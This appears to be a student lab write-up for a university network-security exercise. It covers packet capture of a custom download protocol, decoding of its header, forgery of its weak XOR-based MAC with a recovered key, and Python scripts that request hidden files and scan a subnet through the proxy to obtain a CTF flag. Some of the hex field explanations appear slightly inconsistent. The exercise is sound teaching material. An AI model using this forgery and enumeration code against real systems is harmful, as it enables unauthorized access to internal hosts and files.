Network Security — Exercise 3: Protocol Security

Noah Link, Jan Pfeifer, Julian Weske

May 16, 2024

1 Protocol Introspection (Time spent: 2h)

1. To observe the network behavior of the *secure-download* binary we used **tcpdump** to listen to the traffic of port 7213:

   ```
   root@2c2e7363b2c8:/# tcpdump -i any 'port 7213' -vvv -X
   ```

   In Addition we used Wireshark to filter for the correct packages.

2. While tcpdump listens we can execute the binary. This yields 14 captured packets. The following timeline detailes each step of the TCP communication between our client (2c2e7363b2c8) and the server (195.37.209.19) on port 7213.

   ### Connection Establishment

   - **14:30:33.343921** - *SYN Packet from Client*
     The client initiates the TCP connection by sending a SYN packet to the server, requesting a connection.

     ```
     14:30:33.343921 eth0 Out IP (tos 0x0, ttl 64, id 22819, offset 0, flags [DF], proto TCP
         (6), length 60)
     2c2e7363b2c8.50486 > 195.37.209.19.7213: Flags [S], cksum 0x407b (incorrect -> 0x05b6), seq
         1318811373, win 65495, options [mss 65495,sackOK,TS val 2293160038 ecr 0,nop,wscale 7],
         length 0
     [...]
     ```

   - **14:30:33.363753** - *SYN-ACK Packet from Server*
     The server acknowledges the client's request by sending a SYN-ACK packet back to the client.

     ```
     14:30:33.363753 eth0 In IP (tos 0x0, ttl 63, id 32013, offset 0, flags [none], proto TCP
         (6), length 60)
     195.37.209.19.7213 > 2c2e7363b2c8.50486: Flags [S.], cksum 0x5598 (incorrect -> 0xc17a),
         seq 1606579285, ack 1318811374, win 65408, options [mss 65495,nop,nop,TS val 1204038566
         ecr 2293160038,nop,wscale 7], length 0
     [...]
     ```

- **14:30:33.363838** - *ACK Packet from Client*
  The client sends an ACK packet to the server, completing the three-way handshake and establishing the TCP connection.

```
    14:30:33.363838 eth0 Out IP (tos 0x0, ttl 64, id 22820, offset 0, flags [DF], proto TCP
        (6), length 52)
    2c2e7363b2c8.50486 > 195.37.209.19.7213: Flags [.], cksum 0x4073 (incorrect -> 0xe4d6), seq
        1, ack 1
    [...]
```

Data Exchange

- **14:30:33.364286** - *PUSH-ACK Packet from Client (Command)*
  It seems like the client sends a command or data request to the server enclosed in a PUSH-ACK packet.

```
    14:30:33.364286 eth0 Out IP (tos 0x0, ttl 64, id 22821, offset 0, flags [DF], proto TCP
        (6), length 69)
    2c2e7363b2c8.50486 > 195.37.209.19.7213: Flags [P.], cksum 0x4084 (incorrect -> 0x06bd),
        seq 1:18, ack 1, win 512, options [nop,nop,TS val 2293160059 ecr 1204038566], length 17
  [...]
```

- **14:30:33.364822** - *ACK Packet from Server*
  The server acknowledges the reception of the client's command.

```
    14:30:33.364822 eth0 In IP (tos 0x0, ttl 63, id 32014, offset 0, flags [none], proto TCP
        (6), length 52)
    195.37.209.19.7213 > 2c2e7363b2c8.50486: Flags [.], cksum 0x5598 (incorrect -> 0xe4c5), seq
        1, ack 18, win 510, options [nop,nop,TS val 1204038567 ecr 2293160059], length 0
    [...]
```

- **14:30:33.383354** - *PUSH-ACK Packet from Server (Response)*
  The server responds with the requested data or command execution results in a PUSH-ACK packet. Notable is the presence of **security-report.txt** and **marketing-strategy.txt** in the payload, indicating file names (probably of available files).

```
    14:30:33.383354 eth0 In IP (tos 0x0, ttl 63, id 32015, offset 0, flags [none], proto TCP
        (6), length 114)
    195.37.209.19.7213 > 2c2e7363b2c8.50486: Flags [P.], cksum 0x5598 (incorrect -> 0x5e9b),
        seq 1:63, ack 18, win 4096, options [nop,nop,TS val 1204038586 ecr 2293160059], length
        62
  0x0000: 4500 0072 7d0f 0000 3f06 be2a c325 d113 E..r}...?..*.%..
  0x0010: ac11 0002 1c2d c536 5fc2 7456 4e9b 76ff .....-.6_.tVN.v.
  0x0020: 8018 1000 5598 0000 0101 080a 47c4 2bba ....U.......G.+.
  0x0030: 88ae d87b 020a 0001 3d07 e500 3174 0473 ...{....=...1t.s
  0x0040: b103 0001 002b 2e73 6563 7572 6974 792d .....+.security-
  0x0050: 7265 706f 7274 2e74 7874 0a6d 6172 6b65 report.txt.marke
  0x0060: 7469 6e67 2d73 7472 6174 6567 792e 7478 ting-strategy.tx
  0x0070: 740a
```

- **14:30:33.383432** - *ACK Packet from Client*
  The client acknowledges the receipt of the data from the server.

```
    14:30:33.383432 eth0 Out IP (tos 0x0, ttl 64, id 22822, offset 0, flags [DF], proto TCP
        (6), length 52)
    2c2e7363b2c8.50486 > 195.37.209.19.7213: Flags [.], cksum 0x4073 (incorrect -> 0xe45f), seq
        18, ack 63, win 512, options [nop,nop,TS val 2293160078 ecr 1204038586], length 0
```

- **14:30:33.383750** - *PUSH-ACK Packet from Client*
  The Client request marketing-strategy.txt

```
    14:30:33.383750 eth0 Out IP (tos 0x0, ttl 64, id 22823, offset 0, flags [DF], proto TCP
        (6), length 90)
    2c2e7363b2c8.50486 > 195.37.209.19.7213: Flags [P.], cksum 0x4099 (incorrect -> 0x8ba2),
        seq 18:56, ack 63, win 512, options [nop,nop,TS val 2293160078 ecr 1204038586], length
        38
   0x0000: 4500 005a 5927 4000 4006 a12a ac11 0002 E..ZY'@.@..*....
   0x0010: c325 d113 c536 1c2d 4e9b 76ff 5fc2 7494 .%...6.-N.v._.t.
   0x0020: 8018 0200 4099 0000 0101 080a 88ae d88e ....@...........
   0x0030: 47c4 2bba 010a 0001 3d07 e500 1977 0473 G.+.....=....w.s
   0x0040: 9901 0016 6d61 726b 6574 696e 672d 7374 ....marketing-st
   0x0050: 7261 7465 6779 2e74 7874 rategy.txt
```

- **14:30:33.384309** - *ACK Packet from Server*

```
    14:30:33.384309 eth0 In IP (tos 0x0, ttl 63, id 32016, offset 0, flags [none], proto TCP
        (6), length 52)
    195.37.209.19.7213 > 2c2e7363b2c8.50486: Flags [.], cksum 0x5598 (incorrect -> 0xd639), seq
        63, ack 56, win 4095, options [nop,nop,TS val 1204038587 ecr 2293160078], length 0
```

- **14:30:33.429123** - Large Data Packet from Server: Inbound Data Transfer of **marketing-strategy.txt**

```
    14:30:33.429123 eth0 In IP (tos 0x0, ttl 63, id 32017, offset 0, flags [none], proto TCP
        (6), length 2736)
    195.37.209.19.7213 > 2c2e7363b2c8.50486: Flags [P.], cksum 0x5598 (incorrect -> 0xa07c),
        seq 63:2747, ack 56, win 4096, options [nop,nop,TS val 1204038632 ecr 2293160078],
        length 2684
   [...] %TEXT:
   0x00a0: 7472 6f64 7563 7469 6f6e 3a0a 5175 6963 troduction:.Quic
   0x00b0: 6b46 6974 e284 a2ef b88f 2069 7320 616e kFit.......is.an
   0x00c0: 2069 6e6e 6f76 6174 6976 6520 7072 6f64 .innovative.prod
   0x00d0: 7563 7420 6465 7369 676e 6564 2073 7065 uct.designed.spe
   0x00e0: 6369 6669 6361 6c6c 7920 666f 7220 6375 cifically.for.cu
   0x00f0: 7374 6f6d 6572 7320 7768 6f20 7661 6c75 stomers.who.valu
   0x0100: 6520 626f 7468 2071 7561 6c69 7479 2061 e.both.quality.a
   0x0110: 6e64 2061 6666 6f72 6461 6269 6c69 7479 nd.affordability
    [...]
```

Session Termination

- **14:30:33.429328** - *FIN-ACK Packet from Client*
  The client initiates the termination of the TCP session by sending a FIN-ACK packet.

```
14:30:33.429328 eth0 Out IP (tos 0x0, ttl 64, id 22824, offset 0, flags [DF], proto TCP
    (6), length 52)
2c2e7363b2c8.50486 > 195.37.209.19.7213: Flags [F.], cksum 0x4073 (incorrect -> 0xd960),
    seq 56, ack 2747, win 512, options [nop,nop,TS val 2293160124 ecr 1204038632], length 0
```

- **14:30:33.429703** - *ACK Packet from Server*
  The server acknowledges the client's request to terminate the session.

```
14:30:33.429703 eth0 In IP (tos 0x0, ttl 63, id 32018, offset 0, flags [none], proto TCP
    (6), length 52)
195.37.209.19.7213 > 2c2e7363b2c8.50486: Flags [.], cksum 0x5598 (incorrect -> 0xcb8f), seq
    2747, ack 57, win 4095, options [nop,nop,TS val 1204038632 ecr 2293160078], length 0
```

- **14:30:33.429818** - *FIN-ACK Packet from Server*
  The server sends a FIN-ACK packet back to the client, agreeing to close the connection.

```
14:30:33.429818 eth0 In IP (tos 0x0, ttl 63, id 32019, offset 0, flags [none], proto TCP
    (6), length 52)
195.37.209.19.7213 > 2c2e7363b2c8.50486: Flags [F.], cksum 0x5598 (incorrect -> 0xcb5f),
    seq 2747, ack 57, win 4096, options [nop,nop,TS val 1204038632 ecr 2293160124], length 0
```

- **14:30:33.429861** - *ACK Packet from Client*
  The client sends a final ACK packet, formally closing the TCP connection.

```
14:30:33.429861 eth0 Out IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6),
    length 52)
2c2e7363b2c8.50486 > 195.37.209.19.7213: Flags [.], cksum 0xd95f (correct), seq 57, ack
    2748, win 512, options [nop,nop,TS val 2293160124 ecr 1204038632], length 0
```

3. We can determine the different fields by examining the packets. An example is the request package of the marketing.txt:

```
01 0a00013d 07e5 0019 77047399 01 0016 6d61726b6574696e672d73747261746567792e747874
```

- 01: Message from Client (02 is from Server)
- 0a00013d: 10.0.1.61 is an IP address
- 07e50: Port
- 0019: Length of the payload + 3
- 77047399: Message Authentication Code
- 01: Command within the inner packet

- 0016: Length of the payload
- 6d61726b6574696e672d73747261746567792e747874: Payload, in this case the text *marketing-strategy.txt* (44 characters, 22 bits, 22 in hexadecimal is 16)

2 Proxy Exploitation (Time spent: 6h - with help)

1. We reimplemented the secure-downloader in python (the full code is in the *secure_download.py*):

```
"""
HOST = "195.37.209.19"
PORT = 7213

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
    # Connect to the server
    client_socket.connect((HOST, PORT))
    print("Connection established with server.")

    # Construct the file request packet
    file_request_hex = "01 0a00013d 07e50019770473990100 16
        6d61726b6574696e672d73747261746567792e747874"
    client_socket.sendall(bytes.fromhex(file_request_hex.replace(" ", "")))
    print("File request sent: \n", bytes.fromhex(file_request_hex))
    response = client_socket.recv(4096)

    print("File response from server:", response)
```

   This small script sends the command to download the *marketing-strategy.txt* and prints it.

2. To request a different file we have to change the package we send to the following:

```
"01 0a00013d 07e50019 7704739901 0013 736563757269747927d7265706f72742e747874000000"
```

- 0013: 13 in Hex is the length that is sent to the download server.
- 736563757269747927d7265706f72742e747874: This is the name of the new file we want to request *.security-report.txt*
- 000000: This is the padding we need to get to the original length, and thereby bypass the checksum.

The rest can stay the same. This is the proof that we receive:

```
=atsIsecurity-report.txt
We have received reports that the MAC construction of our proxy protocol is insecure.
This affects bytes 9 to 13 in the proxy header (see Figure 1).
Our MAC uses XOR to combine the headers data fields with a secret key (see Figure 2) which is
    apparently insecure.
Further investigation is required.

Figure 1:
                      Proxy-Header
 +----------------------------------------------+-----+
 |                      ...                     | mac |
 +----------------------------------------------+-----+
 0                                              9     13

Figure 2:

fn calc_mac(
    key: [u8; 4],
    input: [u8; 9],
) -> [u8; 4] {
    let mut mac = [0u8; 4];
    mac[0] = key[0] ^ input[0] ^ input[1] ^ input[2];
    mac[1] = key[1] ^ input[3] ^ input[4];
    mac[2] = key[2] ^ input[5] ^ input[6];
    mac[3] = key[3] ^ input[7] ^ input[8];
}
```

3. To avoid such a manipulation the inner package could be encrypted. Other than that the calculation of the checksum made more difficult and access rights could be implemented, so that a user would not be able to see *security-report.txt* in the first place. In other words, there are many possibilities to secure this exchange.

3 Protocol Introspection (Time spent: 4h)

3.1 Integrity Protection

1. A Message Authentication Code (MAC) is a cryptographic technique used to verify the integrity and authenticity of a message. It is generated using a secret key and appended to the message. The recipient can verify the message by recomputing the MAC using the same key and comparing it with the received MAC.
A secure MAC should possess the following properties:

    - **Keyed**: The MAC algorithm requires a secret key known only to the sender and receiver.
    - **Unforgeability**: It should be computationally infeasible for an attacker to generate a valid MAC for any message without knowledge of the key.
    - **Integrity**: Even a small change in the message should result in a drastically different MAC.

2. The MAC construction algorithm used by the proxy protocol has several security weaknesses, primarily due to its short key length and simple XOR-based construction. It is vulnerable to brute-force attacks, known

plaintext attacks, chosen plaintext attacks, and key reuse attacks.

- Known Plaintext Attack: If an attacker knows the plaintext and its corresponding MAC, they can derive the key using XOR properties. This is because XORing the plaintext with the MAC would yield the key.
- Chosen Plaintext Attack: If an attacker can choose arbitrary plaintexts and obtain their corresponding MACs, they can analyze the output to deduce information about the key or potentially forge MACs for arbitrary messages.

It is relatively ease to figure the key = (0x7C, 0x38, 0x91, 0x80) out by knowing how the algorithm works and by knowing a few example messages.

3.2 Network Enumeration

1. We can send abitrary proxy protocol headers by using the following two functions:

```
def calculate_mac(header_data: bytes, key=(0x7C, 0x38, 0x91, 0x80)) -> bytes:
    mac = []
    mac.append(key[0] ^ header_data[0] ^ header_data[1] ^ header_data[2])
    mac.append(key[1] ^ header_data[3] ^ header_data[4])
    mac.append(key[2] ^ header_data[5] ^ header_data[6])
    mac.append(key[3] ^ header_data[7] ^ header_data[8])
    return bytes(mac)

def send_command(command_type, ip, port, length, command):
    header = command_type + ip + port + length
    mac = calculate_mac(bytes.fromhex(header))
    file_request = header + mac.hex() + command
    request_hex = bytes.fromhex(file_request)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
        client_socket.connect((ip, int(port, 16)))
        client_socket.sendall(request_hex)
        print("File request sent: \n\n", request_hex)
        response = client_socket.recv(4096)
        print("File response from server:", response)

send_command("01", "0a00037f", "07e5", "000c", "01000970726f6f662e747874")
```

2. The function described in 3.2.1 allows us to produce macs for every IP in the /20 subnet. Since the proxy sends the inner packet to the IP we specified, we can scan the network behind the proxy. Thereby we get a list of IP that have a Downloadserver which we can use in the next task. The full code for this can be found in *enumerator.py*

3. Our enumerator showed us that we can communicate with the IP-addresses *0a00013d* (which was already known) and with ip *0a00037f*:

```
INFO:root:Data response from server for IP 0a00013d:
    b'\x02\n\x00\x01=\x07\xe5\x001t\x04s\xb1\x03\x00\x01\x00+.security-report.txt\nmarketing-strategy.txt\n'
```

```
INFO:root:Data response from server for IP 0a00037f:
    b'\x02\n\x00\x03\x7f\x07\xe5\x00\x10tDs\x90\x03\x00\x01\x00\n.proof.txt\n'
INFO:root:IPs with successful responses: ['0a00013d', '0a00037f']
```

The file *.proof.txt* can be viewed in a similar fashion as we used in exercise 2.

```
header = "010a00037f07e5000c"
mac = calculate_mac(bytes.fromhex(header))
file_request_hex = header + mac.hex() + "01000970726f6f662e747874"

client_socket.sendall(bytes.fromhex(file_request_hex))
print("File request sent: \n\n", bytes.fromhex(file_request_hex))
response = client_socket.recv(4096)
```

The proof that we get from the server is:

```
b'\x01\n\x00\x03\x7f\x07\xe5\x00\x0cwDs\x8c\x01\x00\tproof.txt'
File response from server:
AtDs 3proof.txtnetsec{protokollplaetze_muessen_verdichtet_werden}
```